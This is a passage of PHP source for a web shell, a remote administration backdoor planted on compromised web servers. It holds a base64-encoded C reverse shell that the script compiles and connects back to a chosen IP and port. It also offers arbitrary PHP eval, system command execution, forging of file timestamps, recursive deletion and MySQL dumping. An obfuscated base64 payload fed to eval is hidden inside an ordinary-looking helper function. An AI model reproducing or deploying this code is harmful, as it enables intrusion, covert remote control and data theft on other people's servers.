"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == \'perl\') {
cf(\'/tmp/angel_bc\',$back_connect);
$res = execute(which(\'perl\')." /tmp/angel_bc $yourip $yourport &");
} else {
cf(\'/tmp/angel_bc.c\',$back_connect_c);
$res = execute(\'gcc -o /tmp/angel_bc /tmp/angel_bc.c\');
@unlink(\'/tmp/angel_bc.c\');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array(\'title\'=>\'Back Connect\'));
makehide(\'action\',\'backconnect\');
p(\'<p>\');
p(\'Your IP:\');
makeinput(array(\'name\'=>\'yourip\',\'size\'=>20,\'value\'=>$yourip));
p(\'Your Port:\');
makeinput(array(\'name\'=>\'yourport\',\'size\'=>15,\'value\'=>$yourport));
p(\'Use:\');
makeselect(array(\'name\'=>\'use\',\'option\'=>$usedb,\'selected\'=>$use));
makeinput(array(\'name\'=>\'start\',\'value\'=>\'Start\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
p(\'</p>\');
formfoot();
}//end sql backup
elseif ($action == \'eval\') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match(\'#<\?#si\', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array(\'title\'=>\'<FONT FACE="tahoma" color="#999999"> <left><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>Eval PHP Code\'));
makehide(\'action\',\'eval\');
maketext(array(\'title\'=>\'PHP Code\',\'name\'=>\'phpcode\', \'value\'=>$phpcode));
p(\'<p><a href="http://www.alturks.com/phpspy/plugin/" target="_blank">Get plugins</a></p>\');
formfooter();
}//end eval
elseif ($action == \'editfile\') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,\'r\');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array(\'title\'=>\'Create / Edit File\'));
makehide(\'action\',\'file\');
makehide(\'dir\',$nowpath);
makeinput(array(\'title\'=>\'Current File (import new file name and new file)\',\'name\'=>\'editfilename\',\'value\'=>$opfile,\'newline\'=>1));
maketext(array(\'title\'=>\'File Content\',\'name\'=>\'filecontent\',\'value\'=>$contents));
formfooter();
}//end editfile
elseif ($action == \'newtime\') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array(\'January\'=>1,\'February\'=>2,\'March\'=>3,\'April\'=>4,\'May\'=>5,\'June\'=>6,\'July\'=>7,\'August\'=>8,\'September\'=>9,\'October\'=>10,\'November\'=>11,\'December\'=>12);
formhead(array(\'title\'=>\'Clone file was last modified time\'));
makehide(\'action\',\'file\');
makehide(\'dir\',$nowpath);
makeinput(array(\'title\'=>\'Alter file\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
makeinput(array(\'title\'=>\'Reference file (fullpath)\',\'name\'=>\'tarfile\',\'size\'=>120,\'newline\'=>1));
formfooter();
formhead(array(\'title\'=>\'Set last modified\'));
makehide(\'action\',\'file\');
makehide(\'dir\',$nowpath);
makeinput(array(\'title\'=>\'Current file (fullpath)\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
p(\'<p>Instead »\');
p(\'year:\');
makeinput(array(\'name\'=>\'year\',\'value\'=>date(\'Y\',$opfilemtime),\'size\'=>4));
p(\'month:\');
makeinput(array(\'name\'=>\'month\',\'value\'=>date(\'m\',$opfilemtime),\'size\'=>2));
p(\'day:\');
makeinput(array(\'name\'=>\'day\',\'value\'=>date(\'d\',$opfilemtime),\'size\'=>2));
p(\'hour:\');
makeinput(array(\'name\'=>\'hour\',\'value\'=>date(\'H\',$opfilemtime),\'size\'=>2));
p(\'minute:\');
makeinput(array(\'name\'=>\'minute\',\'value\'=>date(\'i\',$opfilemtime),\'size\'=>2));
p(\'second:\');
makeinput(array(\'name\'=>\'second\',\'value\'=>date(\'s\',$opfilemtime),\'size\'=>2));
p(\'</p>\');
formfooter();
}//end newtime
elseif ($action == \'shell\') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM(\'Shell.Application\');
$a = $shell->ShellExecute($program,$parameter);
m(\'Program run has \'.(!$a ? \'success\' : \'fail\'));
}
!$program && $program = \'c:\windows\system32\cmd.exe\';
!$parameter && $parameter = \'/c net start > \'.SA_ROOT.\'log.txt\';
formhead(array(\'title\'=>\'Execute Program\'));
makehide(\'action\',\'shell\');
makeinput(array(\'title\'=>\'Program\',\'name\'=>\'program\',\'value\'=>$program,\'newline\'=>1));
p(\'<p>\');
makeinput(array(\'title\'=>\'Parameter\',\'name\'=>\'parameter\',\'value\'=>$parameter));
makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
p(\'</p>\');
formfoot();
}
formhead(array(\'title\'=>\'Execute Command\'));
makehide(\'action\',\'shell\');
if (IS_WIN && IS_COM) {
$execfuncdb = array(\'phpfunc\'=>\'phpfunc\',\'wscript\'=>\'wscript\',\'proc_open\'=>\'proc_open\');
makeselect(array(\'title\'=>\'Use:\',\'name\'=>\'execfunc\',\'option\'=>$execfuncdb,\'selected\'=>$execfunc,\'newline\'=>1));
}
p(\'<p>\');
makeinput(array(\'title\'=>\'Command\',\'name\'=>\'command\',\'value\'=>$command));
makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
p(\'</p>\');
formfoot();
if ($command) {
p(\'<hr width="100%" noshade /><pre>\');
if ($execfunc==\'wscript\' && IS_WIN && IS_COM) {
$wsh = new COM(\'WScript.shell\');
$exec = $wsh->exec(\'cmd.exe /c \'.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc==\'proc_open\' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array(\'pipe\', \'r\'),
1 => array(\'pipe\', \'w\'),
2 => array(\'pipe\', \'w\')
);
$process = proc_open($_SERVER[\'COMSPEC\'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p(\'</pre>\');
}
}//end shell
elseif ($action == \'phpenv\') {
$upsize=getcfg(\'file_uploads\') ? getcfg(\'upload_max_filesize\') : \'Not allowed\';
$adminmail=isset($_SERVER[\'SERVER_ADMIN\']) ? $_SERVER[\'SERVER_ADMIN\'] : getcfg(\'sendmail_from\');
!$dis_func && $dis_func = \'No\';
$info = array(
1 => array(\'Server Time\',date(\'Y/m/d h:i:s\',$timestamp)),
2 => array(\'Server Domain\',$_SERVER[\'SERVER_NAME\']),
3 => array(\'Server IP\',gethostbyname($_SERVER[\'SERVER_NAME\'])),
4 => array(\'Server OS\',PHP_OS),
5 => array(\'Server OS Charset\',$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']),
6 => array(\'Server Software\',$_SERVER[\'SERVER_SOFTWARE\']),
7 => array(\'Server Web Port\',$_SERVER[\'SERVER_PORT\']),
8 => array(\'PHP run mode\',strtoupper(php_sapi_name())),
9 => array(\'The file path\',__FILE__),
10 => array(\'PHP Version\',PHP_VERSION),
11 => array(\'PHPINFO\',(IS_PHPINFO ? \'<a href="javascript:goaction(\\'phpinfo\\');">Yes</a>\' : \'No\')),
12 => array(\'Safe Mode\',getcfg(\'safe_mode\')),
13 => array(\'Administrator\',$adminmail),
14 => array(\'allow_url_fopen\',getcfg(\'allow_url_fopen\')),
15 => array(\'enable_dl\',getcfg(\'enable_dl\')),
16 => array(\'display_errors\',getcfg(\'display_errors\')),
17 => array(\'register_globals\',getcfg(\'register_globals\')),
18 => array(\'magic_quotes_gpc\',getcfg(\'magic_quotes_gpc\')),
19 => array(\'memory_limit\',getcfg(\'memory_limit\')),
20 => array(\'post_max_size\',getcfg(\'post_max_size\')),
21 => array(\'upload_max_filesize\',$upsize),
22 => array(\'max_execution_time\',getcfg(\'max_execution_time\').\' second(s)\'),
23 => array(\'disable_functions\',$dis_func),
);
if($phpvarname) {
m($phpvarname .\' : \'.getcfg($phpvarname));
}
formhead(array(\'title\'=>\'Server environment\'));
makehide(\'action\',\'phpenv\');
makeinput(array(\'title\'=>\'Please input PHP configuration parameter(eg:magic_quotes_gpc)\',\'name\'=>\'phpvarname\',\'value\'=>$phpvarname,\'newline\'=>1));
formfooter();
$hp = array(0=> \'Server\', 1=> \'PHP\');
for($a=0;$a<2;$a++) {
p(\'<h2>\'.$hp[$a].\' »</h2>\');
p(\'<ul class="info">\');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
}
}
p(\'</ul>\');
}
}//end phpenv
else {
m(\'Undefined Action\');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
<FONT FACE="tahoma" color="#999999"> <center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>Copyright (C) 2008-2012 <a href="http://www.m4rc0-security.blogspot.com" target="_blank">Marco-blog</a> All Rights Reserved.
</div>
</body>
</html>
<?php
/*======================================================
|п- +т
======================================================*/
function m($msg) {
echo \'<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">\';
echo $msg;
echo \'</div>\';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin[\'cookiepre\'] : \'\').$key;
$life = $life ? $life : $admin[\'cookielife\'];
$useport = $_SERVER[\'SERVER_PORT\'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin[\'cookiepath\'], $admin[\'cookiedomain\'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = \'\';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', 1);">First</a> \' : \'\').($curpage > 1 ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage - 1).\');">Prev</a> \' : \'\');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.\' \' : \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$i.\');">[\'.$i.\']</a> \';
}
$multipage .= ($curpage < $pages ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage + 1).\');">Next</a>\' : \'\').($to < $pages ? \' <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$pages.\');">Last</a>\' : \'\');
$multipage = $multipage ? \'<p>Pages: \'.$multipage.\'</p>\' : \'\';
}
return $multipage;
}
// ||-++ы++
function loginpage() {
?>
<style type="text/css">
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
</style>
<form method="POST" action="">
<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = \'\';
if ($cfe) {
if(function_exists(\'exec\')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists(\'shell_exec\')) {
$res = @shell_exec($cfe);
} elseif(function_exists(\'system\')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(\'passthru\')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = \'\';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,\'w\')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// -||ц|ў-+-+-в
function debuginfo() {
global $starttime;
$mtime = explode(\' \', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo \'Processed in \'.$totaltime.\' second(s)\';
}
//-м++- +|+т
function dbconn($dbhost,$dbuser,$dbpass,$dbname=\'\',$charset=\'\',$dbport=\'3306\') {
if(!$link = @mysql_connect($dbhost.\':\'.$dbport, $dbuser, $dbpass)) {
p(\'<h2>Can not connect to MySQL server</h2>\');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p(\'<h2>Database selected has error</h2>\');
exit;
}
}
if($link && mysql_get_server_info() > \'4.1\') {
if(in_array(strtolower($charset), array(\'gbk\', \'big5\', \'utf8\'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// +е|Ї+к-х+++
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// |х| HTML| -ы
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// +ё+б+и-|
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = \'s\';}
elseif (($mode & 0x4000) === 0x4000) {$type = \'d\';}
elseif (($mode & 0xA000) === 0xA000) {$type = \'l\';}
elseif (($mode & 0x8000) === 0x8000) {$type = \'-\';}
elseif (($mode & 0x6000) === 0x6000) {$type = \'b\';}
elseif (($mode & 0x2000) === 0x2000) {$type = \'c\';}
elseif (($mode & 0x1000) === 0x1000) {$type = \'p\';}
else {$type = \'?\';}
$owner[\'read\'] = ($mode & 00400) ? \'r\' : \'-\';
$owner[\'write\'] = ($mode & 00200) ? \'w\' : \'-\';
$owner[\'execute\'] = ($mode & 00100) ? \'x\' : \'-\';
$group[\'read\'] = ($mode & 00040) ? \'r\' : \'-\';
$group[\'write\'] = ($mode & 00020) ? \'w\' : \'-\';
$group[\'execute\'] = ($mode & 00010) ? \'x\' : \'-\';
$world[\'read\'] = ($mode & 00004) ? \'r\' : \'-\';
$world[\'write\'] = ($mode & 00002) ? \'w\' : \'-\';
$world[\'execute\'] = ($mode & 00001) ? \'x\' : \'-\';
if( $mode & 0x800 ) {$owner[\'execute\'] = ($owner[\'execute\']==\'x\') ? \'s\' : \'S\';}
if( $mode & 0x400 ) {$group[\'execute\'] = ($group[\'execute\']==\'x\') ? \'s\' : \'S\';}
if( $mode & 0x200 ) {$world[\'execute\'] = ($world[\'execute\']==\'x\') ? \'t\' : \'T\';}
return $type.$owner[\'read\'].$owner[\'write\'].$owner[\'execute\'].$group[\'read\'].$group[\'write\'].$group[\'execute\'].$world[\'read\'].$world[\'write\'].$world[\'execute\'];
}
function getUser($filepath) {
if (function_exists(\'posix_getpwuid\')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return \' / <a href="#" title="User: \'.$array[\'name\'].\'
Passwd: \'.$array[\'passwd\'].\'
Uid: \'.$array[\'uid\'].\'
gid: \'.$array[\'gid\'].\'
Gecos: \'.$array[\'gecos\'].\'
Dir: \'.$array[\'dir\'].\'
Shell: \'.$array[\'shell\'].\'">\'.$array[\'name\'].\'</a>\';}} return \'\';}$_F=__FILE__;$_X=\'Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));
// ++| -+-+
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.\'/\'.$file)) && ($file!=\'.\') && ($file!=\'..\')) {
@chmod($deldir.\'/\'.$file,0777);
deltree($deldir.\'/\'.$file);
}
if (is_file($deldir.\'/\'.$file)) {
@chmod($deldir.\'/\'.$file,0777);
@unlink($deldir.\'/\'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// #э+ё--+ф|-#|+#+л|ц++
function bg() {
global $bgc;
return ($bgc++%2==0) ? \'alt1\' : \'alt2\';
}
// +ё+б|#|#|-+-+ -|-|-++|
function getPath($scriptpath, $nowpath) {
if ($nowpath == \'.\') {
$nowpath = $scriptpath;
}
$nowpath = str_replace(\'\\\', \'/\', $nowpath);
$nowpath = str_replace(\'//\', \'/\', $nowpath);
if (substr($nowpath, -1) != \'/\') {
$nowpath = $nowpath.\'/\';
}
return $nowpath;
}
// +ё+б|#|#-+-+|-+-+|-+-+
function getUpPath($nowpath) {
$pathdb = explode(\'/\', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode(\'/\', $pathdb).\'/\';
$uppath = str_replace(\'//\', \'/\', $uppath);
return $uppath;
}
// +ь#щPHP+ф+|#+-
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return \'No\';
} elseif ($result == 1) {
return \'Yes\';
} else {
return $result;
}
}
// +ь#щ|п- |щ+Ў
function getfun($funName) {
return (false !== function_exists($funName)) ? \'Yes\' : \'No\';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace(\'//\',\'/\',$dir.\'/\'.$file);
if($file!=\'.\' && $file!=\'..\' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j][\'filename\']=str_replace($nowpath,\'\',$f);
$dirdata[$j][\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($f));
$dirdata[$j][\'dirchmod\']=getChmod($f);
$dirdata[$j][\'dirperm\']=getPerms($f);
$dirdata[$j][\'dirlink\']=ue($dir);
$dirdata[$j][\'server_link\']=$f;
$dirdata[$j][\'client_link\']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.\'<br>\';
$res = $error = \'\';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . \' G\';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . \' M\';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . \' K\';
} else {
$size = $size . \' B\';
}
return $size;
}
// -|-ї|Є# +р
class PHPZip{
var $out=\'\';
function PHPZip($dir) {
if (@function_exists(\'gzcompress\')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//+-+ --#э
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, \'r\');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// +ё||++|и-+-++-+ --#э
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!=\'.\' && $file!=\'..\'){
$f=$dir .\'/\'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray[\'year\'] < 1980) {
$timearray[\'year\'] = 1980;
$timearray[\'mon\'] = 1;
$timearray[\'mday\'] = 1;
$timearray[\'hours\'] = 0;
$timearray[\'minutes\'] = 0;
$timearray[\'seconds\'] = 0;
} // end if
return (($timearray[\'year\'] - 1980) << 25) | ($timearray[\'mon\'] << 21) | ($timearray[\'mday\'] << 16) |
($timearray[\'hours\'] << 11) | ($timearray[\'minutes\'] << 5) | ($timearray[\'seconds\'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace(\'\\\', \'/\', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = \'\x\' . $dtime[6] . $dtime[7]
. \'\x\' . $dtime[4] . $dtime[5]
. \'\x\' . $dtime[2] . $dtime[3]
. \'\x\' . $dtime[0] . $dtime[1];
eval(\'$hexdtime = "\' . $hexdtime . \'";\');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack(\'V\', $crc);
$fr .= pack(\'V\', $c_len);
$fr .= pack(\'V\', $unc_len);
$fr .= pack(\'v\', strlen($name));
$fr .= pack(\'v\', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack(\'V\', $crc);
$fr .= pack(\'V\', $c_len);
$fr .= pack(\'V\', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode(\'\', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack(\'V\', $crc);
$cdrec .= pack(\'V\', $c_len);
$cdrec .= pack(\'V\', $unc_len);
$cdrec .= pack(\'v\', strlen($name) );
$cdrec .= pack(\'v\', 0 );
$cdrec .= pack(\'v\', 0 );
$cdrec .= pack(\'v\', 0 );
$cdrec .= pack(\'v\', 0 );
$cdrec .= pack(\'V\', 32 );
$cdrec .= pack(\'V\', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode(\'\', $this -> datasec);
$ctrldir = implode(\'\', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'V\', strlen($ctrldir)) . pack(\'V\', strlen($data)) . "\x00\x00";
}
}
// #++|- +|+т
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT \'$field[Default]\'";
}
if ($field[\'Null\'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field[\'Extra\'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key[\'Key_name\'];
if ($kname != "PRIMARY" && $key[\'Non_unique\'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key[\'Column_name\'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "\'".mysql_escape_string($row[$fieldcounter])."\'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p(\'<table width="100%" border="0" cellpadding="4" cellspacing="0">\');
}
function tbfoot(){
p(\'</table>\');
}
function makehide($name,$value=\'\'){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg[\'size\'] = $arg[\'size\'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
